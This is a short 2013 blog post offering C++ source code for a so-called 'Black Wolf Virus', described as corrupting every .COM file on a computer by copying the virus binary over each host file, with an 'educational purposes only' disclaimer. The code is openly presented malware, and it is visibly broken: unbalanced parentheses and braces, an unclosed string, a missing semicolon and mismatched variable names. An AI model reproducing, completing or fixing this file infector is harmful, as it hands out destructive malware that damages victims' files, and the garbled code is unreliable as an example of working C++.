Monday, 11 November 2013

BLACK WOLF VIRUS IN C++ THAT CORRUPT ".COM" FILES.

BLACK WOLF VIRUS IN C++ THAT CORRUPT ".COM" FILES.



The following is the Source Code of Black Wolf Virus that can corrupt all the ".COM" files in your computer when it is compiled with C++ compiler.

=============================================

File*Virus, *Host;

int x,y,done;
char buff[256]

struct ffblk ffblk;

main()
{
done=(findfirst("*.COM",&ffblk,0);
while(!done)
{
Printf(infecting %s\n",ffblk.ff_name);
virus=fopen(_arg[0],"rb");
Host=fopen(ffblk.ff_name,"rb+");
x=9504;
while(x>256)
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
fcloseall();
done=findnext(&ffblk);
}
return(0);
}



DISCLAIM: This is only for Educational Purposes. Dont use it in wrong ways!

No comments:

Post a Comment